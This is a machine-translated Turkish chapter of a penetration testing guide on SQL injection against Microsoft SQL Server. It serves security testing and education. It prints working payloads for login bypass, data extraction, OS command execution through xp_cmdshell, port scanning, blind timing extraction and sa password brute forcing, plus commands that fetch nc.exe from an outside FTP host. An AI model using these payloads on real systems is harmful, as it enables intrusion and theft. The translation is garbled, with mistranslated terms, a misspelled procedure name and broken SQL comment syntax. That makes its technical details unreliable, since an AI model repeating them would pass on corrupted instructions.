Testing for SQL Server (SQL Server için Test)

Summary (Özet)

Bu bölümde, Microsoft SQL Server'ın belirli özelliklerini kullanan bazı SQL Enjeksiyon teknikleri tartışılacaktır. SQL enjeksiyonu güvenlik açıkları, bir SQL sorgusunun yapımında yeterince kısıtlanmadan veya sterilize edilmeden kullanılmadığında ortaya çıkar. Dinamik SQL kullanımı (swig sorgularının dizelerin oluşturulması) kullanımı bu güvenlik açıklarına kapı açar. SQL enjeksiyonu, bir saldırganın SQL sunucularına erişmesini ve veritabanına bağlanmak için kullanılan kullanıcının ayrıcalıkları altında SQL kodunu yürütmesine olanak tanır.

SQL enjeksiyonunda açıklandığı gibi, bir SQL-injection istismarı iki şey gerektirir: bir giriş noktası ve girmek için bir istismar. Uygulama tarafından işlenen herhangi bir kullanıcı kontrollü parametre, bir güvenlik açığını gizleyebilir. Buna şunları içerir:

- Sorgu dizelerinde uygulama parametreleri (örneğin, taleplerde bulun)
- Bir POST talebinin gövdesinin bir parçası olarak dahil edilen uygulama parametreleri
- Tarayıcı ile ilgili bilgiler (örneğin, kullanıcı-ajan, sevk)
- Ev sahibi ile ilgili bilgiler (ör., ev sahibi adı, IP)
- Oturumla ilgili bilgiler (örneğin, kullanıcı kimliği, çerezler)

Microsoft SQL sunucusu birkaç benzersiz özelliğe sahiptir, bu nedenle bazı istismarların bu uygulama için özel olarak özel olarak özelleştirilmesi gerekir.

How to Test (Nasıl Test Edilir)

SQL Server Characteristics (SQL Server Özellikleri)

Başlamak için, bir SQL Enjeksiyon testinde yararlı olan bazı SQL Server operatörlerini ve komutları / mağaza prosedürleri görelim:

- Yorum operatörü: `-` (Torguları orijinal sorgunun kalan kısmını görmezden gelmeye zorlamak için yararlıdır; bu her durumda gerekli olmayacaktır)
- Sorgulama ayırıcı: `;` (semicolon)
- Faydalı depolanmış prosedürler şunları içerir:
  - xp_cmdshell, şu anda çalıştığı aynı izinlerle sunucudaki herhangi bir komut kabuğu çalıştırır. Varsayılan olarak, sadece `sysadmin` Kullanılmasına izin verilir ve SQL Server 2005'te varsayılan olarak devre dışı bırakılır (sp_configure kullanılarak tekrar etkinleştirilebilir)
  - `xp_regread` Kayıt Defteri'nden keyfi bir değer okur (belgesiz genişletilmiş prosedür)
  - `xp_regwrite` Kayıt Defterine keyfi bir değer yazar (belgesiz genişletilmiş prosedür)
  - sp_makewbetk bir Windows komut kabuğunu yayıyor ve infaz için bir iple geçiyor. Herhangi bir çıkış metin satırları olarak iade edilir. Gerekiyor `sysadmin` Ayrıcalıklar.
  - xp_sendmail, belirtilen alıcılara bir sorgu sonucu set eki içerebilecek bir e-posta
    iletisi gönderir. Bu genişletilmiş depolanmış prosedür, mesajı göndermek için SQL Mail kullanır.

Yukarıda belirtilen işlevleri kullanan belirli SQL Server saldırılarının bazı örneklerini şimdi görelim. Bu örneklerin çoğu kullanılacak `exec` - İşlev.

Aşağıda, komutun çıktısını yazan bir kabuk komutunun nasıl yürütüleceğini gösteriyoruz `dir c:\inetpub` Göze çarpabilir bir dosyada, web sunucusunun ve DB sunucusunun aynı ana
bilgisayarda bulunduğunu varsayarsak. Aşağıdaki sözdizimi kullanır `xp_cmdshell` : :

```
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
```

Alternatif olarak, kullanabiliriz `sp_makewebtask` : :

```
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
```

Başarılı bir uygulama, kalem test cihazı tarafından göz atılabilecek bir dosya oluşturacaktır. Bunu aklınızda bulundurun `sp_makewebtask` Üzüntülüdür ve 2005 yılına

kadar tüm SQL Server sürümlerinde çalışsa bile, gelecekte kaldırılabilir.

Ayrıca SQL Server yerleşik işlevler ve ortam değişkenleri çok kullanışlıdır. Aşağıdaki işlevi kullanır `db_name()` Veri tabanının adını döndürecek bir hatayı tetiklemek için:

```
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
```

Dönüştürme kullanımına dikkat edin:

```
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
```

`CONVERT` sonucunu dönüştürmeye çalışacaktır `db_name` (bir dize) bir tamsayı değişkenine, savunmasız uygulama tarafından görüntülenirse, DB'nin adını içerecek olan bir hatayı tetikler.

Aşağıdaki örnek ortam değişkenini kullanır `@@version` , bir ile kombine `union select` - SQL Server'ın sürümünü bulmak için stil enjeksiyonu.

```
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
```

Ve işte aynı saldırı, ama dönüşüm hilesini tekrar kullanmak:

```
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
```

Bilgi toplama, SQL-injectation saldırısının sömürülmesi veya SQL dinleyicisine doğrudan erişim yoluyla SQL Server'daki yazılım güvenlik açıklarından yararlanmak için yararlıdır.

Aşağıdakilerde, farklı giriş noktaları aracılığıyla SQL enjeksiyon güvenlik açıklarından yararlanan birkaç örnek gösteriyoruz.

Example 1: Testing for SQL Injection in a GET Request (Örnek 1: Bir GET İsteğinde SQL Enjeksiyon Testi)

En basit (ve bazen en ödüllendirici) dava, kullanıcı girişi için bir kullanıcı adı ve şifre isteyen bir giriş sayfasının durumu olacaktır. Aşağıdaki dize girmeyi deneyebilirsiniz "'" veya '1' = '1" (çiftal
teklifler olmadan):

```
https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
```

Uygulama Dinamik SQL sorguları kullanıyorsa ve dize kullanıcı kimlik bilgileri doğrulama sorgusuna ekleniyorsa, bu uygulamaya başarılı bir girişle sonuçlanabilir.

Example 2: Testing for SQL Injection in a GET Request (Örnek 2: Bir GET İsteğinde SQL Enjeksiyon Testi)

Kaç sütunun var olduğunu öğrenmek için

`https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--`

Example 3: Testing in a POST Request (Örnek 3: Bir POST İsteğinde Test Edilmesi)

SQL Injection, HTTP POST İçeriği: `email=%27&whichSubmit=submit&submit.x=0&submit.y=0`

Tam bir yazı örneği (`https://vulnerable.web.app/forgotpass.asp`) ::

```
POST /forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
[...]
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0
```

Bir olduğunda elde edilen hata mesajı `'`(tek alıntı) karakter e-posta alanında girilir:

```
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15
```

Example 4: Yet Another (Useful) GET Example (Örnek 4: Başka (Kullanıcı) ALAN Örnek)

Uygulamanın kaynak kodunun alınması

`a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--`

Example 5: Custom `xp_cmdshell` (Örnek 5: Özel `xp_cmdshell`)

SQL Server için en iyi güvenlik uygulamalarını açıklayan tüm kitaplar ve makaleler devre dışı bırakmanızı önerir `xp_cmdshell` SQL
Server 2000'de (Skisel Server 2005'te varsayılan olarak devre dışı

bırakılır). Bununla birlikte, sysadmin haklarımız varsa (yerli olarak veya sysadmin şifresini kabadayarak aşağıya bakın), bu sınırlamayı sıklıkla atlayabiliriz.

SQL Server 2000'de:

- Eğer `xp_cmdshell` Engelli bir şekilde devre dışı bırakıldı `sp_dropextendedproc`, basitçe aşağıdaki kodu enjekte edebiliriz:

`sp_addextendedproc 'xp_cmdshell','xp_log70.dll'`

- Önceki kod çalışmıyorsa, bunun anlamı `xp_log70.dll` Taşınmış ya da silinmiş. Bu durumda aşağıdaki kodu enjekte etmemiz gerekir:

```
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int
    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OADestroy @ShellID
    return @result
```

Antonin Doller tarafından yazılan bu kod (sayfanın altındaki bağlantılara bakın), yeni bir oluşturur `xp_cmdshell` kullanmak `sp_oacreate`, `sp_oamethod` ve `sp_oadestroy` (Onlar da engelli olmadıkları sürece, elbette). Kullanmadan önce, ilkini silmemiz gerekiyor `xp_cmdshell` Biz yarattık (çalışmasa bile), aksi takdirde iki beyan çarpışacak.

SQL Server 2005 tarihinde, `xp_cmdshell` Bunun yerine aşağıdaki kodu enjekte ederek etkinleştirilebilir:

```
master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure
```

Example 6: Referer / User-Agent (Örnek 6: Hakem / Kullanıcı-Ajan)

The (İngilizce) `REFERER` Başlık:

```
Referer: https://vulnerable.web.app login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--
```

Keyfi SQL Kodunun uygulanmasına izin verir. Aynı şey aşağıdakilere ayarlanan Kullanıcı-Ajan başlığı ile de geçerlidir:

```
User-Agent: user_agent', 'some_ip'); [SQL CODE]--
```

Example 7: SQL Server as a Port Scanner (Örnek 7: Bir Port Tarayıcı Olarak SQL Server)

SQL Server'da, en kullanışlı (en azından penetrasyon test cihazı için) komutlarından biri, başka bir DB Sunucusunda bir sorgu çalıştırmak ve sonuçları almak için kullanılan OPENROWSET'tir. Penetrum test cihazı, hedef ağdaki diğer makinelerin bağlantı noktalarını taramak için
bu komutu kullanabilir ve aşağıdaki soruyu enjekte eder:

```
select * from
OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
```

Bu sorgu, limandaki adres x.y.w.z adresine bağlantı kurmaya çalışacaktır. Liman kapatılırsa aşağıdaki mesaj döndürülür:

```
SQL Server does not exist or access denied
```

Öte yandan, liman açıksa, aşağıdaki hatalardan biri döndürülecektir:

```
General network error. Check your network documentation
```

```
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
```

Tabii ki, hata mesajı her zaman mevcut değildir. Durum buysa, neler olup bittiğini anlamak için yanıt süresini kullanabiliriz: kapalı bir bağlantı noktası ile, zaman aşımı (5 saniye) tüketilirken, açık bir
bağlantı noktası sonucu hemen döndürür.

OPENROWSET'in SQL Server 2000'de varsayılan olarak etkinleştirildiğini ancak SQL Server 2005'te devre dışı bırakıldığını unutmayın.

Example 8: Upload of Executables (Örnek 8: Yürütülebilirlerin yükü)

Bir kez kullanabildiğimiz `xp_cmdshell` (yerli olan veya özel olan), hedef DB Sunucusuna kolayca uygulanabilir yükleyebiliriz. Çok yaygın bir seçimdir `netcat.exe` Ama burada herhangi bir truvaj faydalı olacaktır. Hedefin test cihazının makinesine FTP bağlantılarını başlatmasına izin verilirse, gereken tek şey aşağıdaki soruları enjekte etmektir:

```
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
```

Bu noktada, `nc.exe` Yüklenecek ve kullanılabilir.

FTP'ye güvenlik duvarı tarafından izin verilmezse, Windows hata banger'ından yararlanan bir çalışmamız var. `debug.exe` Bu, varsayılan olarak tüm Windows makinelerinde kurulur. `Debug.exe` Senede
edilebilir ve uygun bir senaryo dosyası uygulayarak bir icra edilebilir oluşturabilirsiniz. Yapmamız gereken şey, yürütülebilir olanı bir hata ayıklama senaryosuna dönüştürmektir (ki bu% 100 ASCII dosyasıdır), satır satırla yükleyin ve son olarak arayın
`debug.exe` - Üzerinde. Bu tür hata ayıklama dosyalarını oluşturan birkaç araç vardır (örneğin: `makescr.exe` Ollie Whitehouse tarafından ve `dbgtool.exe` tarafından `toolcrypt.org`). Bu nedenle enjekte edilecek sorgular aşağıdakiler olacaktır:

```
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
```

Bu noktada, yürütülebilir uygulamamız, idam edilmeye hazır, hedef makinede mevcuttur. Bu süreci otomatikleştiren araçlar var, özellikle `Bobcat` Windows'ta çalışan ve `Sqlninja` , Unix'te çalışan (Bu sayfanın altındaki aletleri görün).

Obtain Information When It Is Not Displayed (Out of Band) (Görüntülenmediğinde Bilgi Alın (Göçekte))

Web uygulaması herhangi bir bilgiyi iade etmediğinde her şey kaybolmaz - tanımlayıcı hata mesajları (cf. Kör SQL Enjeksiyonu). Örneğin, birinin kaynak koduna erişimi olması olabilir
(örneğin, web uygulaması açık kaynaklı bir yazılıma dayandığından). Daha sonra, kalem test cihazı web uygulamasında çevrimdışı olarak keşfedilen tüm SQL enjeksiyon güvenlik açıklarından yararlanabilir. Bir IPS bu saldırıların bir kısmını durdurabilse de, en iyi yol aşağıdaki gibi
ilerlemek olacaktır: saldırıları bu amaçla oluşturulan bir test yatağında geliştirmek ve test etmek ve ardından test edilen web uygulamasına karşı bu saldırıları yürütmek.

Grup dışı saldırılar için diğer seçenekler yukarıdaki Örnek 4'te açıklanmıştır.

Blind SQL Injection Attacks (Kör SQL Enjeksiyon Saldırıları)

Trial and Error (Deneme ve Hata)

Alternatif olarak, kişi şanslı olabilir. Saldırga, bir web uygulamasında kör veya bant dışı bir SQL enjeksiyonu güvenlik açığı olduğunu varsayabilir. Daha sonra bir saldırı vektörü (örneğin, bir web
girişi), bu kanala karşı fuzz vektörleri kullanacak ve yanıtı izleyecek. Örneğin, web uygulaması bir sorgu kullanarak kitap arıyorsa

```
select * from books where title="text entered by the user"
```

Sonra penetrasyon test cihazı metni girebilir: `'Bomba' OR 1=1-` Veriler doğru düzgün bir şekilde doğrulanmazsa, sorgu geçer ve tüm kitap listesini iade eder. Bu, bir SQL enjeksiyonu güvenlik açığı olduğunun kanıtıdır. Penetrasyon test cihazı daha sonra olabilir `play` Bu kırılganlığın kritikliğini değerlendirmek için sorgularla.

If Multiple Error Messages Displayed (Birden Fazla Hata Mesajı Görüntülenirse)

Öte yandan, önceden bilgi mevcut değilse, hala herhangi birini sömürerek saldırma olasılığı vardır. `covert channel` . . Tanımlayıcı hata mesajlarının durdurulması olabilir, ancak hata mesajları bazı bilgiler verir. Örneğin:

- Bazı durumlarda web uygulaması (aslında web sunucusu) geleneksel olanı iade edebilir `500: Internal Server Error` Uygulama, örneğin, açık teklifleri olan bir sorgu ile oluşturulabilecek bir istisnayı iade ettiğinde.

- Diğer durumlarda sunucu bir geri dönerken `200 OK` mesaj, ancak web uygulaması geliştiriciler tarafından eklenen bazı hata mesajlarını iade edecektir. `Internal server error` ya da `bad data` . .

Bu bir bilgi, dinamik SQL sorgusunun web uygulaması tarafından nasıl oluşturulduğunu anlamak ve bir istismarı ayarlamak için yeterli olabilir. Bir diğer grup dışı yöntem ise sonuçları HTTP göz atabilir
dosyalar üzerinden çıkarmaktır.

Timing Attacks (Zamanlama Saldırıları)

Uygulamadan görünür geri bildirimler olmadığında kör bir SQL enjeksiyonu saldırısı yapmak için bir olasılık daha vardır: web uygulamasının bir isteği yanıtlamak için gereken süreyi ölçerek. Bu tür
bir saldırı, bir sonraki örnekleri aldığımız yerden Anley tarafından anlatılır. Tipik bir yaklaşım kullanır
`waitfor delay` komutu: diyelim ki saldırganın olup olmadığını kontrol etmek istiyor `pubs` Örnek veritabanı var, basitçe aşağıdaki komutu enjekte edecektir:

`if exists (select * from pubs..pub_info) waitfor delay '0:0:5'`

Sorgın geri dönmek için aldığı zamana bağlı olarak, cevabı bileceğiz. Aslında, burada sahip olduğumuz şey iki şey: a `SQL injection vulnerability` ve bir `covert channel` Bu, penetrasyon test cihazının her sorgu için 1 parça bilgi almasını sağlar. Bu nedenle, birkaç sorgu kullanarak (gerekli bilgide bitler kadar sorgu) kalem test cihazı veritabanında bulunan herhangi bir veri
alabilir. Aşağıdaki sorguya bakın

```
declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'
```

Yanıt süresini ölçmek ve için farklı değerleri kullanmak `@i` Mevcut veritabanının adının uzunluğunu çıkarabiliriz ve daha sonra şu sorgu ile adın kendisini çıkarmaya başlayabiliriz:

`if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'`

Bu sorgu, bitse 5 saniye bekleyecek `@bit` of byte Altyazıları `@byte` Mevcut veritabanının adı 1'dir ve 0 ise bir kerede geri dönecektir. Yuvalama iki döngü (bire `@byte` ve bir `@bit`) tüm bilgi parçasını çıkarabileceğiz.

Ancak, komutun olması olabilir `waitfor` Mevcut değildir (örneğin, bir IPS / web uygulaması güvenlik duvarı tarafından filtrelendiği için). Bu, kör SQL enjeksiyon saldırılarının yapılamayacağı anlamına gelmez, çünkü kalem test cihazı sadece filtrelenmemiş herhangi bir zaman alıcı operasyon yapmalıdır. Örneğin

```
declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end
```

Checking for Version and Vulnerabilities (Sürüm ve Güvenlik Açıkları Kontrol Edin)

Aynı zamanlama yaklaşımı, SQL Server'ın hangi sürümüyle uğraştığımızı anlamak için de kullanılabilir. Tabii ki yerleşik olanı kaldıracağız `@@version` Değişken. Aşağıdaki soruyu göz önünde bulundurun:

`select @@version`

SQL Server 2005'te aşağıdaki gibi bir şeyi iade edecektir:

`Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37`

The (İngilizce) `2005` İpin bir kısmı 22. karakterden 25. karaktere kadar uzanıyor. Bu nedenle, enjekte edilecek bir sorgu aşağıdaki olabilir:

`if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'`

Böyle bir sorgu, 25. karakterinin 5 saniye bekleyecek. `@@version` değişkendir `5` Bize bir SQL Server 2005 ile uğraştığımızı gösteriyoruz. Sorgu hemen geri dönerse, muhtemelen SQL Server 2000 ile uğraşıyoruz ve benzer bir sorgu tüm şüpheleri temizlemeye yardımcı olacaktır.

Example 9: Bruteforce of Sysadmin Password (Örnek 9: Sistem Yöneticisi Parolasının Zorlanması)

Sysadmin şifresini kabarmak için, bunu kaldırabiliriz. `OPENROWSET` Bağlantıyı başarılı bir şekilde gerçekleştirmek için uygun kimlik bilgilerine ihtiyaç duyar ve böyle bir

bağlantının yerel DB Server'a "gevşek" de olabilir. Bu özellikleri yanıt zamanlamaya dayalı bir enjeksiyonla birleştirerek, aşağıdaki kodu enjekte edebiliriz:

```
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
```

Burada yaptığımız şey, yerel veri tabanına bir bağlantı girişiminde bulunmaktır (sonra boş alan tarafından açıklığa kavuşturulmalıdır. `SQLOLEDB`) kullanımı `sa` ve `<pwd>` Kimlik bilgileri olarak. Şifre doğruysa ve bağlantı başarılı olursa, sorgu yürütülür, DB'yi 5 saniye bekletir (ve ayrıca OPENROWSET en az bir sütun beklediğinden bir değer döndürür). Bir kelime listesinden aday şifrelerini almak ve her bağlantı için gereken süreyi ölçerek, doğru şifreyi tahmin etmeye çalışabiliriz. “Slgsal Enjeksiyon ve Çıkarımlı Veri madenciliği”nde David Litchfield, DB Server’ın kendisinin CPU kaynaklarını kullanarak sysadmin şifresini kabarmak için bir kod parçası enjekte ederek bu tekniği daha da ileri götürür.

Sysadmin şifresine sahip olduğumuzda, iki seçeneğimiz vardır:

- Tüm aşağıdaki sorguları kullanarak enjekte edin `OPENROWSET`, sysadmin ayrıcalıklarını kullanmak için
- Mevcut kullanıcımızı sysadmin grubuna kullanarak ekleyin `sp_addsrvrolemember`. . Mevcut kullanıcı adı değişkene karşı çıkarım enjeksiyonu kullanılarak çıkarılabilir `system_user`. .

OPENROWSET'in SQL Server 2000'deki tüm kullanıcılar tarafından erişilebilir olduğunu ancak SQL Server 2005'teki idari hesaplarla sınırlı olduğunu unutmayın.

Tools (Araçlar)

- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool

References (Referanslar)

Whitepapers (Beyaz Kağıtlar)

- David Litchfield: “Data-mining with SQL Injection and Inference”
- Chris Anley, “(more) Advanced SQL Injection”
- Steve Friedl’s Unixwiz.net Tech Tips: “SQL Injection Attacks by Example”
- Alexander Chigrik: “Useful undocumented extended stored procedures”

- Antonin Foller: “Custom xp_cmdshell, using shell object”
- SQL Injection
- Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection, uploading files, getting into internal network, port scanning, DOS